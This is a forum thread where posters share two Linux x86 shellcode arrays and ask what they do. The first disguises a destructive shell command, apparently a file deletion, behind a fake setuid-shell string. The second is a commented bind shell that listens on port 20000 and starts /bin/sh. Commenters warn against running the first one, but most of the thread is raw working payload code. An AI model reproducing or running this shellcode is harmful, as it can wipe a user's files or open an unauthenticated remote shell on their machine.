Physics Posted:

do you know what this does?

char esp[] __attribute__ ((section(".text"))) 
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

that shellcode looks VERY suspicious. i wouldn’t run that if i were you.

it’s bumembly stuff

char code[] =

   "\x31\xdb" // xor    ebx, ebx
   "\xf7\xe3" // mul    ebx
   "\xb0\x66" // mov     al, 102
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x89\xe1" // mov     ecx, esp
   "\x4b" // dec     ebx
   "\xcd\x80" // int     80h
   "\x89\xc7" // mov     edi, eax
   "\x52" // push    edx
   "\x66\x68\x4e\x20" // push    word 8270
   "\x43" // inc     ebx
   "\x66\x53" // push    bx
   "\x89\xe1" // mov     ecx, esp
   "\xb0\xef" // mov    al, 239
   "\xf6\xd0" // not    al
   "\x50" // push    eax
   "\x51" // push    ecx
   "\x57" // push    edi
   "\x89\xe1" // mov     ecx, esp
   "\xb0\x66" // mov     al, 102
   "\xcd\x80" // int     80h
   "\xb0\x66" // mov     al, 102
   "\x43" // inc    ebx
   "\x43" // inc    ebx
   "\xcd\x80" // int     80h
   "\x50" // push    eax
   "\x50" // push    eax
   "\x57" // push    edi
   "\x89\xe1" // mov    ecx, esp
   "\x43" // inc    ebx
   "\xb0\x66" // mov    al, 102
   "\xcd\x80" // int    80h
   "\x89\xd9" // mov    ecx, ebx
   "\x89\xc3" // mov     ebx, eax
   "\xb0\x3f" // mov     al, 63
   "\x49" // dec     ecx
   "\xcd\x80" // int     80h
   "\x41" // inc     ecx
   "\xe2\xf8" // loop    lp
   "\x51" // push    ecx
   "\x68\x6e\x2f\x73\x68" // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69" // push    dword 69622f2fh
   "\x89\xe3" // mov     ebx, esp
   "\x51" // push    ecx
   "\x53" // push    ebx
   "\x89\xe1" // mov    ecx, esp
   "\xb0\xf4" // mov    al, 244
   "\xf6\xd0" // not    al
   "\xcd\x80"; // int     80h

Physics Posted:

do you know what this does?

char esp[] __attribute__ ((section(".text"))) 
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

I am a little rusty on my shell commands but that looks like it would delete the root directory.

Xylon Posted:

I am a little rusty on my shell commands but that looks like it would delete the root directory.

That would be my guess as well.

Good way to divide the script kiddies from the real deal, though.